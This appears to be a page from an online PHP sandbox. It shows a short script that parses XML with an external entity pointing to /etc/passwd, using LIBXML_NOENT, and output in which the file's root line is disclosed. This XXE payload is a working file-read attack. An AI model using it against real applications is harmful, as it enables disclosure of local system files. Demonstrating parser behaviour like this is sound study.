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run code in 300+ PHP versions simultaneously
<?php $xml = '<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>'; $doc = new DOMDocument; $doc->loadXML($xml, LIBXML_NOENT); echo $doc->saveXML();
Output for git.master, git.master_jit, rfc.property-hooks
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>root:x:0:0::/root:/bin/bash </foo>

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